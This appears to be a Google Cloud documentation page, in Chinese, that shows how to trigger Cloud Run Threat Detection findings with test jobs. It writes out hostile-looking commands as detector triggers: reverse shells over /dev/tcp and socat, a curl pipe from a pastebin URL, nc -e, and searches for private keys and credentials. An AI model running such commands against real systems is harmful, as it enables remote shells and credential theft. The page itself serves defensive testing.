本页面介绍了如何通过有意触发检测器并检查发现结果来验证 Cloud Run Threat Detection 是否正常运行。Cloud Run Threat Detection 是 Security Command Center 的一项内置服务。
准备工作
如需检测 Cloud Run 服务和作业的潜在威胁,请确保在 Security Command Center 中启用 Cloud Run 威胁检测 服务。某些检测器默认处于停用状态。如需测试这些检测器,您必须先启用它们。
设置环境变量
如需测试检测器,请使用 Google Cloud 控制台和 Cloud Shell。您可以在 Cloud Shell 中设置环境变量,以便更方便地运行命令。您将使用这些变量来测试所有检测器。
前往 Google Cloud 控制台。
选择包含要用来测试的 Cloud Run 作业的项目。
点击激活 Cloud Shell。
在 Cloud Shell 中,设置环境变量:
设置您将创建测试作业的项目和区域。
export PROJECT=PROJECT_ID export REGION=REGION
设置环境变量后,您可以继续按照说明测试检测器。
命令和控制:检测到信息隐写工具
如需触发Command and Control: Steganography Tool Detected(预览版)发现结果,请在容器内执行具有与信息隐写工具一致的文件操作功能的二进制文件。此示例会复制 /bin/ls 并将其重命名为 steghide。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Command and Control: Steganography Tool
Detected 发现结果。
凭证访问权限:查找 Google Cloud 凭证
如需触发Credential Access: Find Google Cloud Credentials发现结果,请在容器内执行能够搜索文件内容的二进制文件。此示例会复制 /bin/ls,将其重命名为 grep,并使用可疑实参执行该文件。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Credential Access: Find Google Cloud Credentials 发现结果。
凭证访问权限:GPG 密钥侦察
如需触发 Credential Access: GPG Key Reconnaissance 发现结果,请使用可疑的实参执行搜索工具。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Credential Access: GPG Key Reconnaissance 发现结果。
凭证访问权限:搜索私钥或密码
如需触发 Credential Access: Search Private Keys or Passwords 发现结果,请使用可疑的实参执行搜索工具。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Credential Access: Search Private Keys or
Passwords 发现结果。
防护规避:Base64 ELF 文件命令行
如需触发 Defense Evasion: Base64 ELF File Command Line 发现结果,请使用编码的 ELF 标头实参执行 base64。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程应创建两个Defense Evasion: Base64 ELF File Command Line发现结果。
防护规避:已执行 Base64 编码的 Python 脚本
如需触发 Defense Evasion: Base64 Encoded Python Script Executed 发现结果,请使用编码的 Python 命令执行 echo。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Defense Evasion: Base64 Encoded Python Script Executed 发现结果。
防护规避:执行 Base64 编码的 shell 脚本
如需触发 Defense Evasion: Base64 Encoded Shell Script Executed 发现结果,请使用经过编码的 shell 命令执行 echo。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Defense Evasion: Base64 Encoded Shell Script Executed 发现结果。
防护规避:在容器中启动代码编译器工具
如需触发 Defense Evasion: Launch Code Compiler Tool In Container(预览版)发现结果,请执行编译器工具。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Defense Evasion: Launch Code Compiler Tool
In Container 发现结果。
执行:已执行添加的恶意二进制文件
如需触发“执行:已执行添加的恶意二进制文件”发现结果,请将恶意二进制文件 (EICAR) 添加到容器中并执行该文件。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建“执行:已执行添加的恶意二进制文件”发现结果。
执行:加载了添加的恶意库
如需触发“执行:加载了添加的恶意库”发现结果,请在容器中添加恶意库并加载该库。此示例使用模拟的恶意库更新 /tmp/test_mal_lib 文件,然后使用 mmap 加载该文件。现有文件的库加载是出乎意料的,因为该文件不在原始容器映像中,并且该库是 EICAR 测试文件,这是一种被威胁情报系统归类为恶意的文件。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个“执行:加载了添加的恶意库”发现结果。
执行:容器逃逸
如需触发“执行:容器逃逸”发现结果,请执行模拟容器逃逸行为的工具。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个“执行:容器逃逸”发现结果。
执行:/memfd: 中的无文件执行
如需触发 Execution: Fileless Execution in /memfd: 发现结果,请使用 Python 从 /memfd: 内存中文件系统执行进程。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image python:latest \
--command=bash \
--args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Execution: Fileless Execution in /memfd: 发现结果。
执行:Kubernetes 攻击工具执行
如需触发“执行:Kubernetes 攻击工具执行”发现结果,请执行与已知攻击工具匹配的程序。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个“执行:Kubernetes 攻击工具执行”发现结果。
执行:本地侦察工具执行
如需触发 Execution: Local Reconnaissance Tool Execution 发现结果,请执行与侦察工具匹配的程序。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个“执行:本地侦察工具执行”发现结果。
执行:已执行修改的恶意二进制文件
如需触发“执行:已执行修改的恶意二进制文件”发现结果,请修改二进制文件以匹配已知的恶意签名 (EICAR)。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个“执行:已执行修改的恶意二进制文件”发现结果。
执行:加载了修改的恶意库
如需触发“执行:加载了修改的恶意库”发现结果,请修改容器中包含恶意库的现有文件并加载该文件。此示例使用模拟的恶意库更新 /etc/issue 文件,然后使用 mmap 加载该文件。现有文件的库加载是出乎意料的,因为该库是 EICAR 测试文件,威胁情报系统将其归类为恶意文件。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个“执行:加载了修改的恶意库”发现结果。
执行:容器中的 Netcat 远程代码执行
如需触发 Execution: Netcat Remote Code Execution In Container 事件,请使用可疑实参执行 netcat。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Execution: Netcat Remote Code Execution In
Container 发现结果。
执行:可能通过 CUPS 执行任意命令 (CVE-2024-47076)
如需触发 Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) 发现结果,请执行模拟漏洞利用的脚本。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) 发现结果。
执行:疑似检测到远程命令执行
如需触发Execution: Possible Remote Command Execution Detected(预览版)发现结果,请执行尝试远程连接的命令。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Execution: Possible Remote Command
Execution Detected 发现结果。
执行:在禁止使用 HTTP 代理的环境中运行的程序
如需触发 Execution: Program Run with Disallowed HTTP Proxy Env 发现结果,请使用错误的代理环境变量执行程序。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Execution: Program Run with Disallowed
HTTP Proxy Env 发现结果。
执行:检测到 Socat 反向 shell
如需触发 Execution: Socat Reverse Shell Detected 发现结果,请使用 socat 实用程序建立反向 shell。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
--execute-now \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Execution: Socat Reverse Shell Detected 发现结果。
执行:已加载可疑的 OpenSSL 共享对象
如需触发 Execution: Suspicious OpenSSL Shared Object Loaded 发现结果,请使用可疑的库执行 openssl。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Execution: Suspicious OpenSSL Shared Object Loaded 发现结果。
提取:在容器中启动远程文件复制工具
如需触发 Exfiltration: Launch Remote File Copy Tools In Container 发现结果,请执行远程复制工具。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Exfiltration: Launch Remote File Copy Tools
In Container 发现结果。
影响:检测恶意命令行
如需触发Impact: Detect Malicious Cmdlines(预览版)发现结果,请执行可疑的命令名称 (IPFS)。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Impact: Detect Malicious Cmdlines 发现结果。
影响:从磁盘中移除批量数据
如需触发 Impact: Remove Bulk Data From Disk 发现结果,请执行 shred 等工具。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Impact: Remove Bulk Data From Disk 发现结果。
影响:使用 Stratum 协议的可疑加密货币挖矿活动
如需触发 Impact: Suspicious cryptocurrency mining activity using the Stratum
Protocol 发现结果,请执行一个二进制文件,并使用类似于加密货币挖矿软件使用 Stratum 协议进行通信时所用的参数。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Impact: Suspicious cryptocurrency mining activity
using the Stratum Protocol 发现结果。
已执行恶意脚本
如需触发“已执行恶意脚本”发现结果,请执行模拟恶意行为的脚本。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个“已执行恶意脚本”发现结果。
观察到恶意网址
如需触发“观察到恶意网址”发现结果,请执行二进制程序并提供恶意网址作为参数。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会触发“观察到恶意网址”发现结果。
权限提升:滥用 sudo 以提升权限 (CVE-2019-14287)
如需触发 Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) 发现结果,请使用 -u#-1 参数执行 sudo 二进制文件。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) 发现结果。
提升权限:sudo 潜在权限提升 (CVE-2021-3156)
如需触发 Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) 发现结果,请使用 -s 参数以及以 `` 结尾的参数执行 sudo 二进制文件。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) 发现结果。
提升权限:Polkit 本地提升权限漏洞 (CVE-2021-4034)
如需触发 Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) 发现结果,请以非根用户身份执行 pkexec 二进制文件,并设置 GCONV_PATH 环境变量。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) 发现结果。
反向 shell
如需触发“反向 Shell”发现结果,请启动二进制文件,并将 stdin 重定向到 TCP 连接的套接字。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个“反向 Shell”发现结果。
执行:加密货币挖矿 Docker 映像
如需触发“执行:加密货币挖矿 Docker 映像”发现结果,请使用与加密货币挖矿软件关联的 Docker 映像名称部署容器。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image docker.io/security-test-DO-NOT-USE/xmrig:latest \
--command sh \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试程序会生成“执行:加密货币挖矿 Docker 映像”发现结果。请注意,作业部署会因映像不存在而失败,但仍会生成发现结果。
影响:加密货币挖矿命令
如需触发Impact: Cryptomining Commands发现结果,请执行带有类似于已知加密货币挖矿软件的参数的命令。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command xmrig \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Impact: Cryptomining Commands 发现结果。
提升权限:默认 Compute Engine 服务账号 SetIAMPolicy
如需触发 Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy 发现结果,请执行使用默认 Compute Engine 服务账号设置 Cloud Run 服务 IAM 政策的命令。
创建并执行 Cloud Run 作业:
JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
--command gcloud \
--args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
此测试过程会创建一个 Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy 发现结果。